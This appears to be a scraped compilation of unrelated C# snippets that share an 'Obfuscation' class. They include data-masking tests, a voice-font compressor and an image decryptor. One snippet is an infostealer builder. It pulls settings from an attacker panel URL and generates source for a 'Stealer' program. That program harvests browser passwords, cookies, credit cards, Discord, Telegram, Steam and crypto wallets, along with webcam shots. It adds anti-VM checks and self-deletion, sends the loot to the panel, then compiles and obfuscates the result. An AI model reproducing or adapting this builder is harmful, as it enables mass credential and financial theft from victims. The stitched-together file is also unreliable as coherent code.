private string Decrypt(DecryptCommand command)
        {
            string rtn    = string.Empty;
            Bitmap bmp    = null;
            var    tokens = Token.Tokens();

            byte[] imageBytes = Convert.FromBase64String(command.EncryptedPicture);
            using (MemoryStream memoryStream = new MemoryStream(imageBytes))
            {
                memoryStream.Position = 0;
                bmp = (Bitmap)Bitmap.FromStream(memoryStream);
            }

            if (bmp != null)
            {
                rtn = tokens.ReplaceTokens(
                    Obfuscation.Unobfuscate(
                        Zip.Decompress(
                            Convert.FromBase64String(
                                Crypto.Decrypt(
                                    Zip.Decompress(
                                        Convert.FromBase64String(
                                            Brilliance.Decompress(bmp))))))));
            }

            return(rtn);
        }
Beispiel #2
0
        public void Scrambling_ShufflesExistingValuesWithinGroups()
        {
            // ARRANGE
            var valueColumnIndex    = 0;
            var testGroupingColumn1 = AddGroupColumn_ToObfuscationOperation_AndDataSet("TestingGroup1");
            var testGroupingColumn2 = AddGroupColumn_ToObfuscationOperation_AndDataSet("TestingGroup2");
            var originalRows        = AddValues_AndGroup_ToDataSet();

            var fakeDataPersistence = A.Fake <IDataPersistence>();

            A.CallTo(() => fakeDataPersistence.GetTableData(_obfuscationOperation)).Returns(_dataSet);

            _obfuscationOperation.Origin.DataSourceType = DataSourceType.Scramble;

            // ACT
            var obfuscation = new Obfuscation {
                DataPersistence = fakeDataPersistence
            };

            obfuscation.RunOperations(new List <ObfuscationInfo> {
                _obfuscationOperation
            });

            // ASSERT
            var currentValues  = _dataSet.Tables[0].Rows.Cast <DataRow>().ToList();
            var distinctGroups = originalRows.Select(dr => new object[] { (int)dr[testGroupingColumn1.Index], (int)dr[testGroupingColumn2.Index] }).Distinct();

            foreach (var groupIndex in distinctGroups)
            {
                var originalValuesInGroup = originalRows.Where(dr => (int)dr[testGroupingColumn1.Index] == (int)groupIndex[0] && (int)dr[testGroupingColumn2.Index] == (int)groupIndex[1]).ToList();
                var currentValuesInGroup  = currentValues.Where(dr => ((string)dr[valueColumnIndex]).EndsWith($"-{(int)groupIndex[0]}-{(int)groupIndex[1]}")).Select(x => x.ItemArray).ToList();

                var allOk = true;
                if (originalValuesInGroup.Count() > 1)
                {
                    foreach (var originalValueRow in originalValuesInGroup)
                    {
                        var rowWithSameValueThanOriginal = currentValuesInGroup.FirstOrDefault(cv => cv[valueColumnIndex].Equals(originalValueRow[valueColumnIndex]));
                        var indexOnCurrentValues         = currentValuesInGroup.IndexOf(rowWithSameValueThanOriginal);

                        allOk  = indexOnCurrentValues >= 0;
                        allOk &= originalValuesInGroup.IndexOf(originalValueRow) != indexOnCurrentValues;

                        if (!allOk)
                        {
                            break;
                        }
                    }
                }

                Assert.AreEqual(originalValuesInGroup.Count(), currentValuesInGroup.Count());
                Assert.IsTrue(allOk, $"Original sequence: {string.Join(",", originalValuesInGroup.Select(ov => ov[valueColumnIndex]))}" +
                              $"  Scrambled sequence: {string.Join(",", currentValuesInGroup.Select(cv => cv[valueColumnIndex]))}");
            }
        }
        internal void RunOperations()
        {
            var ofuscation = new Obfuscation {
                DataPersistence = new SqlDataPersistence()
            };

            ofuscation.StatusChanged += ReportProgressToConsole;
            IEnumerable <ObfuscationInfo> obfuscationOps = LoadOperations();

            ofuscation.RunOperations(obfuscationOps);
        }
        private void BtnRunObfuscationOps_Click(object sender, EventArgs e)
        {
            var ofuscation = new Obfuscation
            {
                StatusChanged   = StatusInformationChanged,
                DataPersistence = new SqlDataPersistence(),
            };

            var obfuscationOps = GetObfuscationOps();

            ofuscation.RunOperations(obfuscationOps);
        }
Beispiel #5
0
        public void DniObfuscation_ReplacesAllCurrentValues()
        {
            List <string> originalValues = AddValues_ToDataSet();

            var fakeDataPersistence = A.Fake <IDataPersistence>();

            A.CallTo(() => fakeDataPersistence.GetTableData(_obfuscationOperation)).Returns(_dataSet);

            var obfuscation = new Obfuscation {
                DataPersistence = fakeDataPersistence
            };

            obfuscation.RunOperations(new List <ObfuscationInfo> {
                _obfuscationOperation
            });

            var currentValues = _dataSet.Tables[0].Rows.Cast <DataRow>().Select(dr => dr[0].ToString());

            Assert.IsFalse(originalValues.All(ov => currentValues.Any(cv => cv == ov)));
        }
Beispiel #6
0
        public void ScramblingCanBeGroupedByStringField()
        {
            // ARRANGE
            var testGroupingColumn  = AddStringGroupColumn_ToObfuscationOperation_AndDataSet("StringTestGroup");
            var originalRows        = AddValues_AndGroup_ToDataSet();
            var fakeDataPersistence = A.Fake <IDataPersistence>();

            A.CallTo(() => fakeDataPersistence.GetTableData(_obfuscationOperation)).Returns(_dataSet);
            _obfuscationOperation.Origin.DataSourceType = DataSourceType.Scramble;

            // ACT
            var obfuscation = new Obfuscation {
                DataPersistence = fakeDataPersistence
            };

            obfuscation.RunOperations(new List <ObfuscationInfo> {
                _obfuscationOperation
            });

            // ASSERT
            AssertScramblingForOneGroupColumn(testGroupingColumn, originalRows);
        }
Beispiel #7
0
        public void Scrambling_ShufflesExistingValues()
        {
            List <string> originalValues = AddValues_ToDataSet();

            var fakeDataPersistence = A.Fake <IDataPersistence>();

            A.CallTo(() => fakeDataPersistence.GetTableData(_obfuscationOperation)).Returns(_dataSet);

            _obfuscationOperation.Origin.DataSourceType = DataSourceType.Scramble;

            var obfuscation = new Obfuscation {
                DataPersistence = fakeDataPersistence
            };

            obfuscation.RunOperations(new List <ObfuscationInfo> {
                _obfuscationOperation
            });

            var currentValues = _dataSet.Tables[0].Rows.Cast <DataRow>().Select(dr => dr[0].ToString()).ToList();

            Assert.IsTrue(originalValues.All(ov => currentValues.IndexOf(ov) >= 0 && (originalValues.IndexOf(ov) != currentValues.IndexOf(ov))));
        }
        private List <DbTableInfo> RetrieveInformationOfTablesFromDatabase()
        {
            var dataPersistence = new SqlDataPersistence
            {
                ConnectionString = txtSqlConnectionString.Text,
                StatusChanged    = StatusInformationChanged,
            };

            var obfuscation = new Obfuscation
            {
                DataPersistence = dataPersistence,
                StatusChanged   = StatusInformationChanged,
            };

            if (_cancellationTokenSource?.Token.CanBeCanceled ?? false)
            {
                _cancellationTokenSource.Cancel();
            }
            _cancellationTokenSource = new CancellationTokenSource();

            var tables = obfuscation.RetrieveDatabaseInfo(_cancellationTokenSource);

            return(tables);
        }
Beispiel #9
0
        private void button1_Click(object sender, EventArgs e)
        {
            Obfuscation obf = new Obfuscation();

            obf.Start("lol");
        }
        public string Serialize(object obj)
        {
            var json = SimpleJson.SerializeObject(obj);

            return(Obfuscation.Encode(json));
        }
Beispiel #11
0
        private void button1_Click(object sender, EventArgs e)
        {
            #region
            JsonValue getJsonStettings = null;
            string    resultServer     = string.Empty;
            string    Passwords        = string.Empty;
            string    Cookies          = string.Empty;
            string    Autofills        = string.Empty;
            string    Clipboard        = string.Empty;
            string    CreditCards      = string.Empty;
            string    USB               = string.Empty;
            string    DesktopFiles      = string.Empty;
            string    Discord           = string.Empty;
            string    Skype             = string.Empty;
            string    FTPClient         = string.Empty;
            string    History           = string.Empty;
            string    ImClient          = string.Empty;
            string    MailClient        = string.Empty;
            string    HardwareInfo      = string.Empty;
            string    ScreenDesktop     = string.Empty;
            string    VPNClient         = string.Empty;
            string    Steam             = string.Empty;
            string    Telegram          = string.Empty;
            string    Wallets           = string.Empty;
            string    SelfDelete        = string.Empty;
            string    VirtualMachine    = string.Empty;
            string    WebCam            = string.Empty;
            string    FireFox           = string.Empty;
            string    Internet_Explorer = string.Empty;
            string    DecryptAPI        = Properties.Resources.DecryptAPI;
            string    Crypt             = Properties.Resources.Crypt;
            string    Help              = Properties.Resources.Help;
            string    Location          = Properties.Resources.Location;
            string    Program           = Properties.Resources.Program;
            string    SendToServer      = Properties.Resources.SendToServer;
            string    SQLite            = Properties.Resources.SQLite;
            string    ZipStore          = Properties.Resources.ZipStore;
            string    CheckPovt         = Properties.Resources.CheckPovt;

            if (textBox1.Text == "")
            {
                MessageBox.Show("Введите ссылку", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            string GetSett = string.Empty;
            try
            {
                System.Collections.Specialized.NameValueCollection postData = new System.Collections.Specialized.NameValueCollection()
                {
                    { "settings", "settings" }
                };
                string uriString = textBox1.Text + "index.php";
                var    webClient = new ExtendedWebClient();
                ServicePointManager.ServerCertificateValidationCallback += new RemoteCertificateValidationCallback(ValidateRemoteCertificate);
                ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                webClient.Proxy   = null;
                webClient.Timeout = Timeout.Infinite;
                webClient.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome / 62.0.3202.94 Safari / 537.36 OPR / 49.0.2725.64");
                webClient.AllowWriteStreamBuffering = false;
                GetSett = Encoding.UTF8.GetString(webClient.UploadValues(uriString, postData));
            }
            catch { }

            if (GetSett == "")
            {
                MessageBox.Show("Произошла ошибка при отправке запроса, проверьте правильность ссылки!", "Ошибка!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            Task.Factory.StartNew(() => { getJsonStettings = JsonValue.Parse(GetSett); }).Wait();

            Program += "using System;\nusing System.IO;\nusing System.Threading;\nusing System.Threading.Tasks;\n\nnamespace Stealer\n{\n\tclass Program\n\t{\n\t\tpublic static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @\"\\PackLogsRezo\";\n\t\tstatic void Main(string[] args)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tTask.Factory.StartNew(() => { modules.CheckPovt.CheckPril(); }).Wait();\n";
            Program += "\t\t\t\tif (File.Exists(path))\n\t\t\t\t{\n\t\t\t\t\tFile.Delete(path);\n\t\t\t\t}\n\t\t\t\tDirectoryInfo di = Directory.CreateDirectory(path);\n\t\t\t\tdi.Attributes = FileAttributes.Directory | FileAttributes.Hidden;\n";
            if (getJsonStettings["AntiVM"] == true)
            {
                Program       += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.VirtualMachine.CheckVM(); }).Wait();";
                VirtualMachine = Properties.Resources.VirtualMachine;
            }
            Program += "\n\t\t\t\tTask.Factory.StartNew(() => { Helper(); }).Wait();";
            Program += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.SendToServer.StratSend(); }).Wait();";

            if (getJsonStettings["SelfDelete"] == true)
            {
                SelfDelete = Properties.Resources.SelfDelete;
                Program   += "\n\t\t\t\tTask.Factory.StartNew(() => { modules.Delete.SelfDelete(); }).Wait();";
            }
            Program += "\n\t\t\t} catch { }\n\t\t}\n";
            if (getJsonStettings["repeated_logs"] == true)
            {
                Program += "\t\tpublic static bool repeated_logs = true;";
            }
            else
            {
                Program += "\t\tpublic static bool repeated_logs = false;";
            }
            Program += "\n\t\tprivate static void Helper()\n\t\t{";
            if (getJsonStettings["Password"] == true)
            {
                FireFox           = Properties.Resources.FireFox;
                Passwords         = Properties.Resources.Passwords;
                Internet_Explorer = Properties.Resources.Internet_Explorer;
                Program          += "\n\t\t\tmodules.Passwords.GetPasswords();";
                Program          += "\n\t\t\tmodules.FireFox.GetPasswordFirefox();";
                Program          += "\n\t\t\tmodules.Internet_Explorer.Start();";
            }
            if (getJsonStettings["Cookies"] == true)
            {
                Cookies  = Properties.Resources.Cookies;
                Program += "\n\t\t\tmodules.Cookies.GetCookies();";
            }
            if (getJsonStettings["Autofill"] == true)
            {
                Autofills = Properties.Resources.Autofills;
                Program  += "\n\t\t\tmodules.Autofill.GetCAutofills();";
            }
            if (getJsonStettings["Clipboard"] == true)
            {
                Clipboard = Properties.Resources.Clipboard;
                Program  += "\n\t\t\tmodules.Clipboard.GetText();";
            }
            if (getJsonStettings["CreditCards"] == true)
            {
                CreditCards = Properties.Resources.CreditCards;
                Program    += "\n\t\t\tmodules.CreditCards.GetCreditCards();";
            }
            if (getJsonStettings["History"] == true)
            {
                History  = Properties.Resources.History;
                Program += "\n\t\t\tmodules.History.GetHistory();";
            }
            if (getJsonStettings["DectopAndUSBFiles"] == true)
            {
                DesktopFiles = Properties.Resources.DesktopFiles;
                USB          = Properties.Resources.USB;
                Program     += "\n\t\t\tmodules.USB.GetUSB();";
                Program     += "\n\t\t\tmodules.DesktopFiles.Inizialize();";
            }
            if (getJsonStettings["HistoryDiscord"] == true)
            {
                Discord  = Properties.Resources.Discord;
                Program += "\n\t\t\tmodules.Discord.GetDiscord();";
            }
            if (getJsonStettings["HistorySkype"] == true)
            {
                Skype    = Properties.Resources.Skype;
                Program += "\n\t\t\tmodules.Skype.GetSkype();";
            }
            if (getJsonStettings["FTPClient"] == true)
            {
                FTPClient = Properties.Resources.FTPClient;
                Program  += "\n\t\t\tmodules.FTPClient.GetFileZilla();";
            }
            if (getJsonStettings["ImClient"] == true)
            {
                ImClient = Properties.Resources.ImClient;
                Program += "\n\t\t\tmodules.ImClient.GetImClients();";
            }
            if (getJsonStettings["MailClient"] == true)
            {
                MailClient = Properties.Resources.MailClient;
                Program   += "\n\t\t\tmodules.MailClient.GoMailClient();";
            }
            if (getJsonStettings["VPNClient"] == true)
            {
                VPNClient = Properties.Resources.VPNClient;
                Program  += "\n\t\t\tmodules.VPNClient.GetVPN();";
            }
            if (getJsonStettings["HardwareInfo"] == true)
            {
                HardwareInfo = Properties.Resources.HardwareInfo;
                Program     += "\n\t\t\tmodules.HardwareInfo.GoInfo();";
            }
            if (getJsonStettings["Screenshot"] == true)
            {
                ScreenDesktop = Properties.Resources.ScreenDesktop;
                Program      += "\n\t\t\tmodules.ScreenDektop.GetScreenshot();";
            }
            if (getJsonStettings["SteamFiles"] == true)
            {
                Steam    = Properties.Resources.Steam;
                Program += "\n\t\t\tmodules.Steam.CopySteam();";
            }
            if (getJsonStettings["Telegram"] == true)
            {
                Telegram = Properties.Resources.Telegram;
                Program += "\n\t\t\tmodules.Telegram.GetTelegram();";
            }
            if (getJsonStettings["WebCam"] == true)
            {
                WebCam   = Properties.Resources.WebCam;
                Program += "\n\t\t\tmodules.WebCam.GetWebCamPicture();";
            }
            if (getJsonStettings["Wallets"] == true)
            {
                Wallets  = Properties.Resources.Wallets;
                Program += "\n\t\t\tmodules.Wallets.GetWallets();";
            }
            Program += "\n\t\t\tmodules.Location.GetLocation(false);";
            Program += "\n\t\t}\n\t}\n}";
            #endregion
            CompilerParameters Params = new CompilerParameters();
            Params.CompilerOptions         = "/target:exe /optimize+ /platform:anycpu /langversion:Default /noconfig";
            Params.TreatWarningsAsErrors   = false;
            Params.GenerateInMemory        = false;
            Params.IncludeDebugInformation = false;
            Params.GenerateExecutable      = true;
            string nameProgram = GenRandomString("QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm", 8);
            Params.OutputAssembly = nameProgram + ".exe";

            Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            Params.ReferencedAssemblies.Add("System.dll");
            Params.ReferencedAssemblies.Add("System.Linq.dll");
            Params.ReferencedAssemblies.Add("System.Xml.dll");
            Params.ReferencedAssemblies.Add("System.Management.dll");
            Params.ReferencedAssemblies.Add("System.Drawing.dll");
            Params.ReferencedAssemblies.Add("System.Security.dll");
            Params.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");

            SendToServer = SendToServer.Replace("[link]", textBox1.Text);
            var settings = new Dictionary <string, string>();
            settings.Add("CompilerVersion", "v4.0");
            CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Autofills, DecryptAPI, Crypt, Help, SQLite, Program, Cookies, Discord, Passwords, FireFox, Internet_Explorer, History, CreditCards, Clipboard, DesktopFiles, USB, Skype, ScreenDesktop, FTPClient, VPNClient, HardwareInfo, ImClient, Location, MailClient, Steam, Telegram, SendToServer, Wallets, SelfDelete, VirtualMachine, CheckPovt, WebCam, ZipStore);
            if (Results.Errors.Count > 0)
            {
                foreach (CompilerError err in Results.Errors)
                {
                    MessageBox.Show(err.ToString());
                }
            }

            string combine   = Path.Combine(GlobalPath.CurrDir, nameProgram + ".exe");
            string darkbuild = Path.Combine(GlobalPath.PathDark, nameProgram + ".exe");

            if (!Results.Errors.HasErrors)
            {
                if (Obfuscation.Checker())
                {
                    // Запускаем создания dark конфиг с нужными параметрами
                    Task.Run(() => File.WriteAllText(GlobalPath.DarkConfig, Obfuscation.TempConfig(combine))).Wait();
                    Task.Run(() => CommandRunner.RunFile(GlobalPath.CLI_Confuser, GlobalPath.DarkConfig)).Wait();
                    try
                    {
                        File.Delete(Path.Combine(GlobalPath.CurrDir, nameProgram + ".exe"));
                        File.Delete(GlobalPath.DarkConfig);
                        File.Move(darkbuild, combine);
                        File.Delete(darkbuild);
                    }
                    catch { }
                }
            }
        }
 public T Deserialize <T>(IRestResponse response)
 {
     response.Content = Obfuscation.Decode(response.Content);
     return(JsonDeserializer.Deserialize <T>(response));
 }
        public static int CompressWVE(string wveFilePath, string wihFilePath, SpeechCodecEnc.Codec codec, string outputFolder, bool enableAnalysis)
        {
            WaveInfoHeader wih = new WaveInfoHeader();
            wih.Load(wihFilePath);
            if (wih.Compression != Microsoft.Tts.Offline.Config.WaveCompressCatalog.Unc)
            {
                throw new NotSupportedException("Current font has already compress !");
            }

            if (wih.SamplesPerSecond != 16000 || wih.BytesPerSample != 2)
            {
                return -1;
            }

            string strWVECompressedFilePath = Path.Combine(outputFolder, Path.GetFileNameWithoutExtension(wveFilePath) + "." + codec.ToString() + @".WVE");
            string strWIHCompressedFilePath = Path.Combine(outputFolder, Path.GetFileNameWithoutExtension(wveFilePath) + "." + codec.ToString() + @".WIH");
            string strRADCompressedFilePath = Path.Combine(outputFolder, Path.GetFileNameWithoutExtension(wveFilePath) + "." + codec.ToString() + @".RAD");

            SpeechCodecDec.Codec decCodec = SpeechCodecDec.Codec.SILK;

            PrintLog("Start Compress font.", true);
            switch (codec)
            {
                // case SpeechCodecEnc.Codec.AMRWB:
                // wih.Compression = Microsoft.Tts.Offline.Config.WaveCompressCatalog.AMRWB;
                // break;
                case SpeechCodecEnc.Codec.MSRTA:
                    {
                        wih.Compression = Microsoft.Tts.Offline.Config.WaveCompressCatalog.MSRTA;
                        break;
                    }

                case SpeechCodecEnc.Codec.SILK:
                    {
                        wih.Compression = Microsoft.Tts.Offline.Config.WaveCompressCatalog.SILK;
                        decCodec = SpeechCodecDec.Codec.SILK;
                        break;
                    }

                case SpeechCodecEnc.Codec.OpusSILK:
                    {
                        wih.Compression = Microsoft.Tts.Offline.Config.WaveCompressCatalog.OpusSILK;
                        decCodec = SpeechCodecDec.Codec.OpusSILK;
                        break;
                    }

                default:
                    {
                        throw new Exception("Not supported compression!");
                    }
            }

            wih.Save(strWIHCompressedFilePath);

            string wveSamplePath = strWVECompressedFilePath + @".SAMPLE.PCM";
            string orgPcmPath = wveSamplePath + ".org.pcm";
            string encodedPath = wveSamplePath + ".opus";
            string lspTextPath = wveSamplePath + ".lsp.txt";

            List<byte> blockOffsets = new List<byte>();
            int nTotalEncoded = 0;
            const uint RAD_TAG = 0x4441522E;   // .RAD

            SpeechCodecDec decoder = new SpeechCodecDec();
            decoder.Open(decCodec);
            bool supoortRAD = decoder.SupportRAD;
            SpeechCodecEnc encoder = new SpeechCodecEnc();
            encoder.Open(codec);

            using (Obfuscation obf = new Obfuscation(ObfuscationDefaultPassword.ODP_INVENTORYBUILDING))
            using (FileStream wveStream = new FileStream(wveFilePath, FileMode.Open))
            using (FileStream compressedWVEStream = new FileStream(strWVECompressedFilePath, FileMode.Create))
            using (BinaryWriter binwRADStream = new BinaryWriter(new FileStream(strRADCompressedFilePath, FileMode.Create)))
            using (FileStream wveSampleStream = new FileStream(wveSamplePath, FileMode.Create))
            using (FileStream orgPcmStream = new FileStream(orgPcmPath, FileMode.Create))
            using (FileStream encodedStream = new FileStream(encodedPath, FileMode.Create))
            using (StreamWriter lspWriter = new StreamWriter(lspTextPath))
            {
                BinaryReader br = new BinaryReader(wveStream);
                BinaryWriter bw = new BinaryWriter(compressedWVEStream);

                VoiceFontHeader vfh = new VoiceFontHeader();
                vfh.Load(br);
                vfh.Save(bw);
                long dataOffset = bw.BaseStream.Position;
                if (codec == SpeechCodecEnc.Codec.SILK || codec == SpeechCodecEnc.Codec.OpusSILK)
                {
                    // save offset table's offset
                    bw.Write((int)0);
                }

                // create a decoder for RAD stat calculating
                SpeechCodecDec decoderRAD = new SpeechCodecDec();
                decoderRAD.Open(decCodec);
                OpusSILKRADStatSerializer radSerializer = new OpusSILKRADStatSerializer();
                VoiceFontHeader voiceFontRADHeader = new VoiceFontHeader
                {
                    FileTag = RAD_TAG,
                    FormatTag = VoiceFontTag.FmtIdRandomAccessDecodingData,
                    DataSize = 0,
                    Version = 0,
                    Build = 0
                };

                long dataBegPos = 0;
                if (supoortRAD)
                {
                    voiceFontRADHeader.Save(binwRADStream);
                    dataBegPos = binwRADStream.BaseStream.Position;
                    binwRADStream.Write((uint)0); // stat num
                    binwRADStream.Write((uint)0); // stat bytes num
                }

                List<int> listOffsets = new List<int>();
                int nTotalRADBytes = 0;

                BinaryWriter bw2 = null;
                BinaryWriter bw3 = null;
                BinaryWriter bw4 = null;
                if (enableAnalysis)
                {
                    bw2 = new BinaryWriter(wveSampleStream);
                    bw3 = new BinaryWriter(orgPcmStream);
                    bw4 = new BinaryWriter(encodedStream);
                }

                short[] sampleBuf = new short[320];
                byte[] readBytes = new byte[640];
                int nReadBytes = 0;
                int nLoops = 0;

                ulong nosieCountDecodedSample = 0;
                while ((nReadBytes = br.Read(readBytes, 0, (int)(sampleBuf.Length * 2))) > 0)
                {
                    obf.DeObfuscate(readBytes, (int)(br.BaseStream.Position - nReadBytes - dataOffset));
                    Buffer.BlockCopy(readBytes, 0, sampleBuf, 0, nReadBytes);

                    byte[] encodedBits = encoder.EncodeSamples(sampleBuf);

                    if (supoortRAD)
                    {
                        byte[] radBytes = decoderRAD.CalculateRADStat(encodedBits);
                        byte[] serializedRADBytes = radBytes;
                        if (codec == SpeechCodecEnc.Codec.OpusSILK)
                        {
                            serializedRADBytes = radSerializer.Serialize(radBytes);
                        }
                        
                        binwRADStream.Write(serializedRADBytes);
                        listOffsets.Add(nTotalRADBytes);
                        nTotalRADBytes += serializedRADBytes.Length;
                        decoder.SetRADStat(radBytes);
                    }

                    short[] decodedSamples = decoder.DecodeSamples(encodedBits);
                    ulong noiseCount = Microsoft.Tts.ServiceProvider.WaveGenerator.DetectNoise16k16bMono(decodedSamples);
                    if (noiseCount > 0)
                    {
                        nosieCountDecodedSample += noiseCount;
                    }

                    if (enableAnalysis)
                    {
                        if (bw3.BaseStream.Position <= 64000)
                        {
                            foreach (var sample in sampleBuf)
                            {
                                bw3.Write(sample);
                            }

                            bw3.Flush();
                        }

                        if (bw2.BaseStream.Position <= 64000)
                        {
                            bw4.Write(encodedBits);
                            bw4.Flush();

                            foreach (var sample in decodedSamples)
                            {
                                bw2.Write(sample);
                            }

                            bw2.Flush();

                            float[] lspValues = decoder.DecodeLsp(encodedBits);
                            foreach (var lsp in lspValues)
                            {
                                lspWriter.Write("{0:N6}\t", lsp);
                            }

                            lspWriter.WriteLine();
                            lspWriter.Flush();
                        }
                    }

                    bw.Write(encodedBits, 0, encodedBits.Length);
                    if (encodedBits.Length > byte.MaxValue)
                    {
                        throw new Exception("Unexpcted encoding length!");
                    }

                    blockOffsets.Add((byte)encodedBits.Length);
                    nTotalEncoded += encodedBits.Length;

                    nLoops++;
                    if (nLoops == 500)
                    {
                        Console.Write("Encoded: {0}/{1}/{2}%         \r", br.BaseStream.Position - dataOffset, vfh.DataSize,
                            (float)(br.BaseStream.Position - dataOffset) / vfh.DataSize * 100);
                        nLoops = 0;
                    }
                }

                decoderRAD.Close();
                PrintLog(string.Format("Encoded: {0}/{1}/{2}%         \r", br.BaseStream.Position - dataOffset, vfh.DataSize,
                    (float)(br.BaseStream.Position - dataOffset) / vfh.DataSize * 100), true);
                PrintLog(string.Empty, true);

                if (codec == SpeechCodecEnc.Codec.SILK || codec == SpeechCodecEnc.Codec.OpusSILK)
                {
                    // save offset table
                    foreach (var offset in blockOffsets)
                    {
                        bw.Write(offset);
                    }

                    PrintLog(string.Format("Total blocks: {0}", blockOffsets.Count), true);
                }

                if (supoortRAD)
                {
                    foreach (var offset in listOffsets)
                    {
                        binwRADStream.Write(offset);
                    }
                }

                PrintLog(string.Empty, true);
                PrintLog(string.Format("Detect {0} noise in decoded samples.", nosieCountDecodedSample), true);

                vfh.DataSize = (ulong)(bw.BaseStream.Position - dataOffset);

                bw.Seek(0, SeekOrigin.Begin);
                vfh.Save(bw);

                if (supoortRAD)
                {
                    voiceFontRADHeader.DataSize = (ulong)(binwRADStream.BaseStream.Position - dataBegPos);
                    binwRADStream.Seek(0, SeekOrigin.Begin);
                    voiceFontRADHeader.Save(binwRADStream);
                    binwRADStream.Write(blockOffsets.Count); // stat num
                    binwRADStream.Write(nTotalRADBytes); // stat bytes num
                }

                if (codec == SpeechCodecEnc.Codec.SILK || codec == SpeechCodecEnc.Codec.OpusSILK)
                {
                    // update offset table's offset
                    bw.Write((int)nTotalEncoded);
                }
            }

            encoder.Close();
            decoder.Close();

            if (!enableAnalysis)
            {
                Helper.SafeDelete(wveSamplePath);
                Helper.SafeDelete(orgPcmPath);
                Helper.SafeDelete(encodedPath);
                Helper.SafeDelete(lspTextPath);
            }

            if (!supoortRAD)
            {
                Helper.SafeDelete(strRADCompressedFilePath);
            }

            return blockOffsets.Count;
        }